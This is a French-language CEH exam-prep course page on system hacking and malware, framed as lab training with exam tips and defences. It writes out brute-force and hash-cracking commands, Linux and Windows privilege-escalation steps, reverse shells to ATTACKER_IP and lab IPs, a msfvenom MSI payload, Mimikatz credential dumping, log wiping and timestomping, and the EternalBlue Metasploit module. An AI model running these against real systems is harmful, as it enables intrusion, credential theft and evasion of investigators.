← FormationCertifIT CEH Formation
Accueil
Cours ▾
🟢 Débutant 🟡 Intermédiaire 🔴 Expert
Terminal Quiz Examen blanc Objectifs Schémas Flashcards Fiches
Niveau Intermédiaire

Techniques d'Attaque

Exploitation de systèmes, malwares, sniffing, ingénierie sociale et DoS

  • 05

    Hacking de Systèmes

    Cracking de mots de passe, escalade de privilèges, rootkits, Keyloggers

    ▼
    • ✓ Attaques par dictionnaire et brute force : Hydra, Medusa, Ncrack Moyen
    • ✓ Cracking de hash : John the Ripper, Hashcat, Rainbow Tables Moyen
    • ✓ Escalade de privilèges Linux : SUID, sudo, kernel exploits Difficile
    • ✓ Escalade de privilèges Windows : UAC bypass, Token Impersonation Difficile
    • ✓ Maintien d'accès : backdoors, webshells, reverse shells Difficile
    • ✓ Rootkits : types (userland, kernel), détection et prévention Difficile
    • ✓ Keyloggers : logiciels et matériels, techniques de dissimulation Moyen
    • ✓ Mimikatz et extracteurs de credentials Windows Difficile
    • ✓ Netsh et tunneling : creating tunnels, port forwarding Difficile
    • ✓ Effacement de traces : event logs, timestomping, log sanitization Difficile

    🔍 Attaques par Dictionnaire et par Brute Force

    L'attaque par dictionnaire utilise une liste prédéfinie de mots de passe courants, de variantes et de combinaisons connues (comme rockyou.txt). Elle est rapide mais limitée au contenu du dictionnaire utilisé. L'attaque par brute force tente, elle, systématiquement toutes les combinaisons possibles de caractères sur une plage définie (minuscules, majuscules, chiffres, symboles). Elle est garantie de trouver le mot de passe, mais peut prendre un temps considérable en fonction de sa complexité. Les deux attaques sont dites hors ligne lorsqu'elles ciblent des hash extraits d'un système, ou en ligne lorsqu'elles tentent de s'authentifier directement contre un service réseau.

    Pourquoi c'est important : En audit, 80 % des accès initiaux viennent d'un mot de passe faible sur SSH ou d'un formulaire web : Hydra teste rapidement ces hypothèses sur le périmètre autorisé.
    L'analogie qui aide : Essayer le trousseau des clés les plus courantes (dictionnaire rockyou) puis, si rien ne marche, limer une clé vierge pour chaque combinaison (brute force).
    • Hydra : Outil de brute force multithreadé supportant plus de 50 protocoles (FTP, SSH, HTTP, SMB, RDP, Telnet...). Il est rapide grâce à sa gestion native du parallélisme avec les paramètres -t (tâches) et -P (dictionnaire de mots de passe).
    • Medusa : Similaire à Hydra mais fondé sur une architecture modulaire : chaque protocole est un module séparé, ce qui facilite l'ajout de nouveaux services. Il est parallélisé par hôte grâce à -t.
    • Ncrack : Optimisé pour les services réseau avec des mécanismes de gestion de connexions adaptatifs. Particulièrement efficace sur RDP et SSH. Il fait partie de la suite Nmap.
    • Limites en ligne : Chaque tentative consomme une connexion réseau, est plus lente que le hors-ligne, et peut déclencher des verrouillages de compte (account lockout). Le hors-ligne reste la méthode privilégiée.
    ### Hydra - Brute force SSH (en ligne)
    hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -t 4 -vV
    
    ### Hydra - Brute force d'un formulaire web (POST)
    hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
    
    ### Medusa - Brute force FTP
    medusa -h 192.168.1.100 -u admin -P passwords.txt -M ftp -t 5
    
    ### Ncrack - Brute force RDP
    ncrack -vv -U administrators.txt -P passwords.txt 192.168.1.100:3389
    Démonstration pas à pas : Déroulé : hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -t 4 -vV (flag -l = login unique, -P = wordlist, -t = threads, -vV = verbeux). Pour un formulaire : http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" (les marqueurs ^USER^ et ^PASS^ sont remplacés, F= définit l'échec). Comparez avec medusa -M ftp et ncrack sur RDP.
    Point clé examen CEH : Retenez que la brute force en ligne est lente et risquée (verrouillage de compte), alors que le cracking hors ligne de hash est plus rapide et discret. Hydra, Medusa et Ncrack sont tous des outils d'authentification en ligne ; ils ne cassent pas de hash.
    Pièges classiques : Piège CEH : dire que Hydra casse des hash. Hydra fait de l'en ligne, jamais du hors ligne. Erreur : threads élevés qui verrouillent les comptes.
    À vous de jouer : En ligne ou hors ligne en premier ?
    Voir la réponse

    Hors ligne sur hash volés quand c'est possible : discret et rapide. L'en ligne reste bruyant et limité par le lockout.

    🔍 Cracking de Hash : Tables Rainbow, John, Hashcat

    Un hash est le résultat d'une fonction mathématique à sens unique qui transforme une donnée en une empreinte de taille fixe. On ne peut pas retrouver le mot de passe original à partir du hash, mais on peut tester des entrées, calculer leur hash et comparer le résultat avec le hash cible. C'est le principe du cracking. Les tables rainbow pré-calculent des chaînes de hash pour des combinaisons courantes : extrêmement rapides en recherche, mais très gourmandes en espace disque. John the Ripper mise sur la détection automatique de format et les règles de mutation ; Hashcat exploite le GPU pour un parallélisme massif.

    Pourquoi c'est important : Après extraction d'une base SAM ou /etc/shadow en lab, le SOC veut savoir en combien de temps les mots de passe tombent : cela mesure la politique réelle, pas la théorie.
    L'analogie qui aide : Comparer des empreintes digitales à un fichier géant déjà calculé (rainbow) ou tester chaque clé du trousseau avec des variantes (John, Hashcat).
    • Tables Rainbow : Compromis temps/mémoire. Une chaîne de réduction permet d'écraser plusieurs hash, mais seuls les hash appartenant à l'espace pré-calculé peuvent être retrouvés. Efficaces pour MD5/NTLM, inutiles contre les hash salés (bcrypt, scrypt).
    • John the Ripper (JtR) : Détecte automatiquement le format de hash. Excellent pour les wordlists combinées à des règles de mutation (majuscules, chiffres, caractères spéciaux) via --wordlist et --rules. Le mode --incremental fait du bruteforce alphabétique intelligent.
    • Hashcat : Le plus rapide grâce au GPU. Chaque type de hash est identifié par un mode numérique (0=MD5, 1000=NTLM, 100=sha1, 22000=WPA-PBKDF2). Les rule files (best64, dive) génèrent des variantes à partir de la wordlist de base.
    • Différence clé JtR vs Hashcat : JtR est plus polyvalent pour la détection automatique et le travail « sans configuration » ; Hashcat est plus rapide sur GPU mais exige que l'on précise le mode de hash. Les deux prennent en charge le sel pour les algorithmes modernes.
    ### Identifier le type d'un hash
    hashid '5f4dcc3b5aa765d61d8327deb882cf99'
    
    ### John the Ripper - Crack avec une wordlist
    john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    
    ### John - Spécifier le format et lancer un incrémental
    john --format=raw-md5 --incremental hash.txt
    
    ### Hashcat - Mode MD5 (mode 0), attaque par dictionnaire (mode 0)
    hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -a 0
    
    ### Hashcat - Mode NTLM (1000) avec règle best64
    hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
    
    ### Hashcat - Mode WPA2 (22000) avec dictionnaire
    hashcat -m 22000 capture.hccapx wordlist.txt -a 0
    
    ### Vérifier un hash MD5
    echo -n "password" | md5sum
    Démonstration pas à pas : Déroulé : identifiez avec hashid '5f4dcc3b5aa765d61d8327deb882cf99' (MD5 de password). Puis john --wordlist=rockyou.txt hash.txt (détection auto du format). Puis hashcat -m 0 hash.txt rockyou.txt -a 0 (flag -m 0 = MD5, -a 0 = dictionnaire). Puis -m 1000 avec -r best64.rule pour NTLM muté, et -m 22000 pour WPA.
    Point clé examen CEH : Le sel (salt) rend les tables rainbow inutiles, car chaque mot de passe produit un hash différent. John the Ripper détecte le format automatiquement ; Hashcat exige un mode numérique. MD5 et SHA1 sont cassables très rapidement ; les algorithmes lents comme bcrypt/argon2 sont conçus pour résister au cracking GPU.
    Pièges classiques : Piège CEH : croire que les rainbow marchent sur bcrypt salé. Le sel les rend inutiles. Erreur : oublier -m sous Hashcat (John détecte, Hashcat exige le mode).
    À vous de jouer : Pourquoi bcrypt résiste au GPU ?
    Voir la réponse

    Parce qu'il est lent, salé et coûteux en calcul : chaque essai coûte cher, contrairement à MD5 ou NTLM quasi instantanés.

    🔍 Escalade de Privilèges sur Linux

    L'escalade de privilèges est l'étape critique qui suit une compromission initiale : l'attaquant part d'un accès utilisateur standard et cherche à obtenir les droits root. Les vecteurs principaux sont les binaires SUID/SGID mal configurés, un sudo trop permissif, les tâches cron exécutées en tant que root, le PATH hijacking et les exploits du noyau. Cette phase est généralement automatisée par des scripts comme LinPEAS ou LinEnum, mais il est essentiel de comprendre les commandes manuelles.

    Pourquoi c'est important : Partir d'un shell www-data et finir root, c'est tout l'enjeu post-exploitation : un SUID sur bash ou un sudo sur vim donne le domaine en audit réel.
    L'analogie qui aide : Trouver dans un atelier un outil qui tourne déjà avec le badge du chef (SUID root) ou un planning qui exécute votre script à sa place (cron root).
    • SUID (Set User ID) : Un binaire SUID s'exécute avec les droits du propriétaire (souvent root) quel que soit l'utilisateur qui le lance. Il est repérable par le 's' dans les permissions (rwsr-xr-x). Un SUID sur bash ou python équivaut à une élévation directe.
    • SGID (Set Group ID) : Identique au SUID, mais appliqué au groupe propriétaire du fichier (permissions r-xr-sr-x).
    • sudo mal configuré : Si sudo -l révèle qu'un binaire (vim, find, less, python) est exécutable en tant que root, il peut être détourné via sa fonctionnalité « shell » interne (ex : sudo vim -c '!sh').
    • Cron jobs : Les tâches planifiées s'exécutent souvent en tant que root. Si un script cron est modifiable par un utilisateur standard, ou s'il référence un binaire via un chemin relatif, l'attaquant peut injecter son code.
    • PATH hijacking : Si un binaire lancé par root appelle une commande sans chemin absolu, l'attaquant peut placer un faux exécutable en tête du PATH pour que la commande malveillante soit exécutée.
    • Kernel exploits : Les failles du noyau (Dirty COW CVE-2016-5195, Dirty Pipe CVE-2022-0847 (Linux 5.8+)) permettent une élévation directe vers root si le noyau n'est pas patché.
    ### Trouver tous les fichiers SUID
    find / -perm -4000 -type f 2>/dev/null
    
    ### Trouver les fichiers SGID
    find / -perm -2000 -type f 2>/dev/null
    
    ### Vérifier les droits sudo de l'utilisateur courant
    sudo -l
    
    ### Exploiter un bash SUID
    ./bash -p   # si bash possède le bit SUID root, -p donne un shell root
    
    ### Examiner les tâches cron
    cat /etc/crontab
    ls -la /etc/cron.d/  /etc/cron.daily/
    crontab -l
    
    ### PATH hijacking
    echo '#!/bin/bash' > /tmp/service
    echo 'chmod +s /bin/bash' >> /tmp/service
    chmod +x /tmp/service
    export PATH=/tmp:$PATH
    /service   # le faux binaire s'exécute, puis /bin/bash -p = root
    
    ### Vérifier la version du noyau (chercher un exploit)
    uname -a
    cat /etc/os-release
    Démonstration pas à pas : Déroulé : find / -perm -4000 -type f 2>/dev/null (flag -perm -4000 = bit SUID, 2>/dev/null = masque les erreurs). Puis sudo -l (liste vos droits). Si bash SUID : ./bash -p (flag -p = garde les privilèges). Puis cat /etc/crontab et crontab -l pour les tâches root modifiables. Vérifiez uname -a pour Dirty COW ou Dirty Pipe si noyau obsolète.
    Point clé examen CEH : La commande find / -perm -4000 identifie les binaires SUID. sudo -l liste les commandes autorisées. Le site GTFOBins référence des binaires exploitables pour s'échapper (vim, find, less...). N'oubliez pas que le kernel exploit ne fonctionne que sur un noyau obsolète et peut faire crasher le système.
    Pièges classiques : Piège CEH : confondre SUID (-4000, propriétaire) et SGID (-2000, groupe). Erreur : kernel exploit sur noyau patché qui crash la VM.
    À vous de jouer : Que faire après sudo -l qui montre vim ?
    Voir la réponse

    Consulter GTFOBins et utiliser l'échappement shell de vim (sudo vim -c '!sh') uniquement en lab autorisé, puis consigner.

    🔍 Escalade de Privilèges sur Windows

    Sur Windows, l'escalade de privilèges exploite les mécanismes de sécurité du système : le UAC (contrôle de compte d'utilisateur), les services Windows mal configurés, les tokens d'authentification et certaines clés de registre. L'objectif est de passer d'un compte standard à un compte administrateur ou au compte SYSTEM (le plus élevé). Les scripts WinPEAS et PowerUp permettent d'automatiser la reconnaissance, mais la compréhension manuelle est indispensable pour l'examen.

    Pourquoi c'est important : Passer d'utilisateur à SYSTEM via un service mal quoté ou SeImpersonatePrivilege, c'est l'escalade Windows la plus vue en audit AD interne.
    L'analogie qui aide : Utiliser le badge d'un agent d'entretien (service SYSTEM) laissé sur un chariot (chemin non quoté) ou emprunter son passe (token potato) pour ouvrir toutes les portes.
    • UAC bypass : Certaines applications Windows sont « auto-élevées » et s'exécutent à haute intégrité sans notification UAC. En détournant la charge utile de celles-ci (DLL hijack d'eventvwr.exe, sdclt.exe, fodhelper.exe), on obtient un shell administrateur sans prompt visible.
    • Token Impersonation (potato) : Les comptes de service possèdent le privilège SeImpersonatePrivilege. Les outils JuicyPotato, PrintSpoofer et GodPotato récupèrent un token NTLM SYSTEM et créent un processus impersonnifié avec privilèges SYSTEM.
    • Services non sécurisés : Un service Windows dont le binaire est modifiable, ou dont le chemin comporte des espaces non quotés (ex : C:\Program Files\Service App\svc.exe), peut être détourné. On remplace le binaire par un payload ou on crée un exécutable dans un dossier intermédiaire du chemin.
    • AlwaysInstallElevated : Si cette clé de registre est activée, tout utilisateur peut installer des packages MSI avec les privilèges SYSTEM. Un package MSI malveillant généré avec msfvenom ou msiexec permet d'obtenir un shell SYSTEM.
    • SeImpersonatePrivilege : Privilège accordé aux comptes de service (IIS, MSSQL, service Windows) ; il autorise l'impersonation de tokens, condition indispensable aux attaques « potato ».
    ### Vérifier les privilèges et le token de l'utilisateur
    whoami /priv
    whoami /all
    
    ### Lister les services et vérifier les chemins
    sc queryex type= service state= all | findstr "SERVICE_NAME"
    accesschk /u "utilisateur" -qwkcu "C:\Program Files\Service Vulnérable\"
    
    ### JuicyPotato - élévation vers SYSTEM (2008-2016)
    JuicyPotato.exe -l 1337 -p C:\temp\payload.exe -t * -c {CLSID}
    
    ### GodPotato - élévation vers SYSTEM (2012-2022)
    GodPotato.exe -cmd "cmd /c whoami"
    
    ### PrintSpoofer - alternative légère
    PrintSpoofer.exe -i -c cmd
    PrintSpoofer.exe -c "cmd /c C:\temp\nc.exe 192.168.1.100 4444 -e cmd.exe"
    
    ### AlwaysInstallElevated - générer et installer un MSI malveillant
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o shell.msi
    msiexec /quiet /qn /i shell.msi
    
    ### Vérifier la clé AlwaysInstallElevated
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    Démonstration pas à pas : Déroulé : whoami /priv (liste les privilèges, cherchez SeImpersonatePrivilege). Puis sc queryex type= service (liste les services, repérez les chemins avec espaces non quotés). Avec le privilège : GodPotato.exe -cmd "cmd /c whoami" (récupère un token SYSTEM). Vérifiez AlwaysInstallElevated dans HKLM et HKCU avant msiexec sur un MSI généré par msfvenom.
    Point clé examen CEH : SeImpersonatePrivilege et SeAssignPrimaryTokenPrivilege sont les prérequis des attaques « potato ». AlwaysInstallElevated nécessite que la clé soit activée à la fois dans HKLM et HKCU. Un service dont le chemin contient des espaces sans guillemets est un vecteur classique de service path hijacking.
    Pièges classiques : Piège CEH : croire qu'un seul AlwaysInstallElevated suffit. Il faut HKLM et HKCU. Erreur : JuicyPotato sur serveur récent sans vérifier la version (préférez GodPotato ou PrintSpoofer).
    À vous de jouer : Quel privilège conditionne les attaques potato ?
    Voir la réponse

    SeImpersonatePrivilege (souvent avec SeAssignPrimaryToken) : sans lui, pas d'impersonation de token SYSTEM.

    🔍 Maintien d'Accès : Backdoors et Reverse Shells

    Le maintien d'accès consiste à conserver la possibilité de revenir sur le système compromis, même après un redémarrage ou la fermeture de la connexion initiale. On distingue deux grands types de shells distants : le bind shell, où la machine cible ouvre un port et attend la connexion de l'attaquant, et le reverse shell, où la cible initie elle-même la connexion vers l'attaquant. Le reverse shell est prédominant car il contourne les pare-feux qui bloquent généralement le trafic entrant.

    Pourquoi c'est important : Sans persistance autorisée et tracée, chaque redémarrage fait perdre l'accès de démonstration et l'audit recommence. Le reverse shell sortant traverse le pare-feu là où le bind échoue.
    L'analogie qui aide : Plutôt que d'attendre qu'on vous ouvre (bind, porte d'entrée surveillée), vous rappelez vous-même de l'intérieur vers l'extérieur (reverse, appel sortant autorisé).
    • Bind shell : La payload écoute sur un port de la cible. Inconvénient : le port ouvert est détectable par un scan réseau et il faut connaître l'IP de la cible.
    • Reverse shell : La machine compromise établit une connexion sortante vers l'attaquant. Avantage : le trafic est sortant et souvent autorisé par le pare-feu. Un listener netcat est nécessaire côté attaquant.
    • Netcat (nc) : Le « couteau suisse » du réseau : il crée les listeners, les connexions, transfère des fichiers et met en place reverse/bind shells.
    • Webshells : Scripts (PHP, ASP, JSP) déposés sur un serveur web pour maintenir un accès. Célèbres : China Chopper, c99, b374k. Un simple system($_GET['cmd']) en PHP suffit.
    ### Listener côté attaquant
    nc -lvnp 4444
    
    ### Reverse shell Bash (côté victime)
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
    
    ### Reverse shell Python (côté victime)
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
    
    ### Reverse shell Netcat (victime)
    nc -e /bin/sh ATTACKER_IP 4444
    
    ### Bind shell (victime écoute)
    nc -lvnp 4444 -e /bin/sh
    
    ### Transfert de fichier avec Netcat
    # Côté attaquant (réception) :
    nc -lvnp 9999 > fichier_recu.exe
    # Côté victime (envoi) :
    nc ATTACKER_IP 9999 < fichier_envoye.exe
    
    ### Encoder une reverse shell pour éviter la détection
    echo "/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64
    Démonstration pas à pas : Déroulé : côté attaquant lab : nc -lvnp 4444 (flag -l = écoute, -v = verbeux, -n = pas de DNS, -p = port). Côté victime autorisée : bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 (redirige stdin et stdout vers TCP). Variante Python avec socket et dup2, ou nc -e /bin/sh. Le bind (nc -lvnp 4444 -e /bin/sh côté victime) reste détectable au scan.
    Point clé examen CEH : Le reverse shell est préféré au bind shell car il contourne les pare-feux entrants. nc -lvnp port crée le listener (l=listener, v=verbose, n=pas de DNS, p=port). Un webshell n'est rien d'autre qu'un script côté serveur qui exécute des commandes.
    Pièges classiques : Piège CEH : préférer le bind au reverse derrière un pare-feu entrant. Erreur : nc sans -n qui fait des requêtes DNS visibles.
    À vous de jouer : Pourquoi le reverse passe le pare-feu ?
    Voir la réponse

    Parce que le trafic est sortant et souvent autorisé, alors que le bind ouvre un port entrant filtré et scannable.

    🔍 Rootkits, Mimikatz, Keyloggers et Effacement de Traces

    Après la prise de contrôle, un attaquant déploie des mécanismes de dissimulation (rootkits), vole les credentials (Mimikatz), intercepte les frappes clavier (keyloggers) et efface ses traces pour échapper à la détection forensique. Ce sont des modules centraux du programme CEH, à la fois sur le plan technique et celui des contre-mesures défensives.

    Pourquoi c'est important : Après l'accès, l'audit montre comment un attaquant resterait invisible (rootkit), volerait les sessions (Mimikatz) et effacerait ses logs : le SOC apprend quoi surveiller.
    L'analogie qui aide : Un cambrioleur qui maquille la serrure (rootkit noyau), photographie le trousseau resté sur la table (Mimikatz en mémoire) puis efface ses traces de pas (timestomping).
    • Rootkit userland : Opère dans l'espace utilisateur en détournant les fonctions des bibliothèques (LD_PRELOAD) pour masquer fichiers, processus et connexions. Plus simple à implémenter mais détectable.
    • Rootkit kernel : S'exécute en mode noyau via un module (LKM) ; peut intercepter les appels système (syscalls) pour se cacher. Détection difficile, nécessite souvent un scan approfondi du noyau.
    • Mimikatz : Célèbre outil d'extraction de credentials Windows. sekurlsa::logonpasswords récupère les mots de passe en clair (WDigest), les hash NTLM et les tickets Kerberos en mémoire. lsadump::dcsync simule un contrôleur de domaine pour extraire les hash de tous les comptes.
    • Keyloggers : Logiques (capture des frappes via un hook ou un driver) ou matériels (hardware keylogger inséré entre le clavier et l'ordinateur). Peuvent aussi capturer le presse-papier et les captures d'écran.
    • Effacement de traces : wevtutil efface les journaux d'événements, le timestomping modifie les horodatages des fichiers avec touch, et les journaux de connexion (wtmp, lastlog) peuvent être purgés pour masquer les sessions.
    ### Effacement des journaux d'événements Windows
    wevtutil el                 # liste les journaux disponibles
    wevtutil cl Security        # efface le journal Sécurité
    wevtutil cl System          # efface le journal Système
    wevtutil cl Application     # efface le journal Application
    
    ### Timestomping Linux (modifier l'horodatage)
    touch -d "2023-01-01 08:00:00" fichier.txt
    touch -t 202301010800 fichier.txt
    
    ### Timestomping Windows (Metasploit)
    timestomp.exe fichier.exe -m "01/01/2023 08:00:00" -a "01/01/2023 08:00:00" -c "01/01/2023 08:00:00"
    
    ### Purger les traces de connexion Linux
    history -c
    cat /dev/null > /var/log/auth.log
    cat /dev/null > /var/log/wtmp
    lastlog   # vérifier les connexions enregistrées
    
    ### Mimikatz - extraction des credentials Windows
    privilege::debug
    sekurlsa::logonpasswords     # mots de passe clairs + hash NTLM en mémoire
    lsadump::lsa /patch          # extraire les hash de la base SAM
    lsadump::dcsync /domain:lab.local /user:Administrator   # DCSync sur Active Directory
    Démonstration pas à pas : Déroulé : sous Mimikatz admin : privilege::debug (obtient le debug), puis sekurlsa::logonpasswords (mots de passe clairs WDigest et hash NTLM en mémoire), puis lsadump::dcsync /domain:lab.local /user:Administrator (réplication AD). Côté traces : wevtutil cl Security (efface le journal), touch -d pour le timestomping, history -c sous Linux.
    Point clé examen CEH : Mimikatz exploitatit le protocole WDigest pour retrouver les mots de passe en clair ; Microsoft l'a désactivé par défaut. DCSync réalise une réplication Active Directory et ne nécessite aucune élévation sur chaque machine. Le timestomping cible la MFT (NTFS) et les attributs MACB (Modified, Accessed, Changed, Born).
    Pièges classiques : Piège CEH : dire que DCSync nécessite un agent sur chaque poste. Il simule un contrôleur de domaine. Erreur : croire que WDigest est actif par défaut (désactivé depuis, mais testé à l'examen).
    À vous de jouer : Quelle commande prouve le vol de hash à grande échelle ?
    Voir la réponse

    lsadump::dcsync : elle réplique les hash du domaine comme un DC légitime, sans déployer de malware sur chaque machine.

  • 06

    Malwares

    Virus, trojans, ransomwares, spywares : analyse, création et contre-mesures

    ▼
    • ✓ Types de malwares : virus, worm, trojan, ransomware, spyware, adware Facile
    • ✓ Propagation : vecteurs d'infection, phishing, drive-by downloads Moyen
    • ✓ Ransomwares célèbres : WannaCry, Petya, Ryuk — mécanismes Moyen
    • ✓ Analyse statique : desassembly, pe-bear, strings, entropy Difficile
    • ✓ Analyse dynamique : sandbox, Wireshark, Process Monitor Difficile
    • ✓ VirTotal et plateformes de détection multi-engine Facile
    • ✓ Antivirus evasion : polymorphisme, métamorphisme, packing Difficile
    • ✓ Reverse engineering de malware : IDA Pro, Ghidra, x64dbg Difficile
    • ✓ Mécanismes de persistance : Run keys, scheduled tasks, WMI Difficile

    🔍 Les Grandes Familles de Malwares

    Un malware (logiciel malveillant) est tout programme conçu pour nuire, infiltrer ou exploiter un système sans le consentement de l'utilisateur. On le classe selon son mode de propagation, sa finalité et son comportement. La connaissance de ces familles est fondamentale pour le CEH, tant pour les reconnaître en analyse que pour comprendre leurs contre-mesures.

    Pourquoi c'est important : Qualifier virus, ver ou RAT change la réponse SOC : on isole un ver qui se propage seul, on cherche le C2 pour un bot, on restaure depuis sauvegarde saine pour un ransomware.
    L'analogie qui aide : Un rhume qui a besoin d'une poignée de main (virus, hôte plus action), une gastro qui se propage seule à la cantine (ver), un faux livreur qui ouvre de l'intérieur (trojan).
    • Virus : Code qui s'attache à un fichier hôte et nécessite l'exécution de celui-ci pour se propager. Il requiert une action de l'utilisateur (ouvrir un fichier infecté).
    • Worm (ver) : Se réplique de lui-même sur le réseau sans intervention humaine, en exploitant des vulnérabilités. Exemples : SQL Slammer, Conficker.
    • Trojan (cheval de Troie) : Se fait passer pour un logiciel légitime pour tromper l'utilisateur. Contrairement au virus, il ne se réplique pas. Souvent utilisé comme backdoor ou téléchargeur.
    • Ransomware : Chiffre les fichiers de la victime (ou le disque) et exige une rançon pour la clé de déchiffrement. C'est l'attaque la plus rentable pour les cybercriminels.
    • Spyware : Espionne l'activité de l'utilisateur (frappes clavier, navigation, données) et exfiltre ces informations, souvent sans signe visible.
    • Adware : Affiche des publicités non désirées. Moins dangereux en soi, mais souvent vecteur d'autres malwares et de fuite de données.
    • RAT (Remote Access Trojan) : Trojan qui fournit un accès distant complet au système compromis via une interface de contrôle (ex : DarkComet, njRAT).
    • Bot : Machine compromise contrôlée à distance par un serveur C2 ; l'ensemble des bots forme un botnet utilisé pour le DDoS et le spam.
    ### Différencier par la propagation (règle de base)
    # Virus  : nécessite un hôte + action utilisateur
    # Worm   : auto-propagation réseau, aucune action requise
    # Trojan : déguisé en légitime, ne se réplique pas
    # RAT    : accès distant complet
    # Bot    : membre d'un botnet contrôlé par C2
    
    ### Vecteurs de propagation typiques
    # - Phishing : email avec pièce jointe ou lien malveillant
    # - Drive-by : site web compromis qui infecte le visiteur
    # - USB      : clé USB infectée (autorun)
    # - Exploit kit : pack de vulnérabilités navigateur
    Démonstration pas à pas : Déroulé pédagogique : classez l'échantillon en lab : besoin d'un hôte plus clic = virus ; auto-propagation réseau = ver (Slammer, Conficker) ; déguisé sans réplication = trojan ; contrôle complet = RAT (DarkComet) ; flotte pilotée par C2 = bot. Vecteurs : phishing, drive-by, USB, exploit kit.
    Point clé examen CEH : La distinction essentielle : le virus a besoin d'un hôte et d'une action utilisateur, le worm se propage seul. Le RAT fournit un contrôle total ; le bot fait partie d'un botnet piloté par un serveur C2. Connaissez les définitions officielles EC-Council de chaque famille.
    Pièges classiques : Piège CEH : inverser virus et ver. Le ver est autonome, le virus exige hôte et action. Erreur : appeler tout trojan un virus.
    À vous de jouer : Un malware se propage sans clic, par SMB. Quelle famille ?
    Voir la réponse

    Un ver : auto-réplication réseau via vulnérabilité, sans intervention, à isoler et patcher (ex. EternalBlue).

    🔍 Ransomwares Célèbres : WannaCry, Petya, Ryuk

    Les ransomwares ont explosé face à la rentabilité du modèle de rançon. Leur mécanisme repose sur le chiffrement cryptographique des données (fichiers ou table de fichiers) suivi d'une demande de paiement. Certains sont des vers se propageant massivement via des vulnérabilités publiques ; d'autres ciblent spécifiquement de grandes entreprises via l'ingénierie sociale et des accès compromis.

    Pourquoi c'est important : WannaCry a chiffré des hôpitaux via EternalBlue MS17-010 : comprendre ce vecteur justifie patch, segmentation et sauvegardes hors ligne devant la direction.
    L'analogie qui aide : Un cambrioleur qui change toutes les serrures (chiffrement) puis vend la clé en bitcoin, sauf Petya qui murait la porte (wiper destructeur).
    • WannaCry (2017) : Ver-ransomware exploitant la faille EternalBlue (MS17-010, SMBv1) pour se propager sur les réseaux internes. Ransomware « crypto » chiffrant les fichiers avec l'extension .wncry et affichant une demande de rançon en Bitcoin. Il a été suspendu par un kill-switch (domaine non résolu).
    • NotPetya / Petya (2017) : Se présente comme un ransomware mais est en réalité un wiper destructeur. Petya chiffre la MFT (table de fichiers) du disque dur ; NotPetya réutilise EternalBlue et EternalRomance. Le paiement ne restaurait pas les données — c'est une attaque de destruction déguisée.
    • Ryuk : Ransomware ciblant les grandes organisations. Livré par dépôt manuel après la compromission initiale (souvent via TrickBot ou Emotet). Chiffre en priorité les partages réseau et les sauvegardes, exigeant des rançons très élevées. Il est lié au groupe Wizard Spider.
    ### EternalBlue / MS17-010 - vulnérabilité SMBv1 dans Metasploit
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.1.10
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    exploit
    
    ### Patch correspondant (défensif)
    # Windows Update KB4013389 (bloquait WannaCry / NotPetya)
    
    ### Analyse : repérer les extensions chiffrées
    dir /a *.wncry *.petya *.ryk
    # Vérifier la présence d'un fichier de rançon (README.txt, HOW_DECRYPT.txt)
    Démonstration pas à pas : Déroulé lab : use exploit/windows/smb/ms17_010_eternalblue (module EternalBlue SMBv1), set RHOSTS, set PAYLOAD windows/x64/meterpreter/reverse_tcp, set LHOST puis exploit. Côté défense : KB4013389, blocage SMBv1, sauvegardes déconnectées. Extensions .wncry et notes HOW_DECRYPT comme indices.
    Point clé examen CEH : WannaCry et NotPetya exploitaient EternalBlue (MS17-010). WannaCry chiffre les fichiers ; Petya/NotPetya chiffre la MFT (boot). Ryuk cible les entreprises et détruit les sauvegardes. La meilleure défense est le patch système, la segmentation réseau et des sauvegardes hors ligne.
    Pièges classiques : Piège CEH : dire que NotPetya chiffrait pour rançon. C'était un wiper (MFT chiffrée, pas de restauration). Erreur : confondre MFT (Petya) et fichiers (WannaCry).
    À vous de jouer : Quelle défense aurait bloqué WannaCry ?
    Voir la réponse

    Le patch MS17-010 (KB4013389), la désactivation de SMBv1, la segmentation et des sauvegardes hors ligne testées.

    🔍 Analyse Statique et Dynamique de Malware

    L'analyse de malware poursuit deux objectifs : comprendre le comportement sans l'exécuter (analyse statique) ou l'exécuter dans un environnement contrôlé pour observer ses actions (analyse dynamique). L'analyse statique est plus sûre ; l'analyse dynamique fournit plus d'informations comportementales mais exige une sandbox isolée pour éviter toute contamination.

    Pourquoi c'est important : Avant d'exécuter, l'analyste SOC fait du statique sûr (strings, hachage) : cela évite d'infecter le poste et oriente la sandbox dynamique.
    L'analogie qui aide : Examiner une valise fermée aux rayons X (statique, sans l'ouvrir) puis l'ouvrir dans une salle blindée avec caméra (dynamique, sandbox INetSim).
    • Analyse statique : On examine le binaire sans l'exécuter : extraction de chaînes (strings), analyse du fichier PE avec pe-bear, calcul d'entropie (mesure du hasard des octets, révélatrice de packing), et vérification des hachages sur VirusTotal. Pas de risque d'infection, mais le code packé ou obfusqué masque le vrai contenu.
    • Analyse dynamique : Exécution dans une sandbox (Cuckoo, Joe Sandbox), supervision des processus avec Process Monitor (ProcMon), capture réseau avec Wireshark sur des fake networks (INetSim) qui simulent Internet pour observer les exfiltrations et les connexions C2.
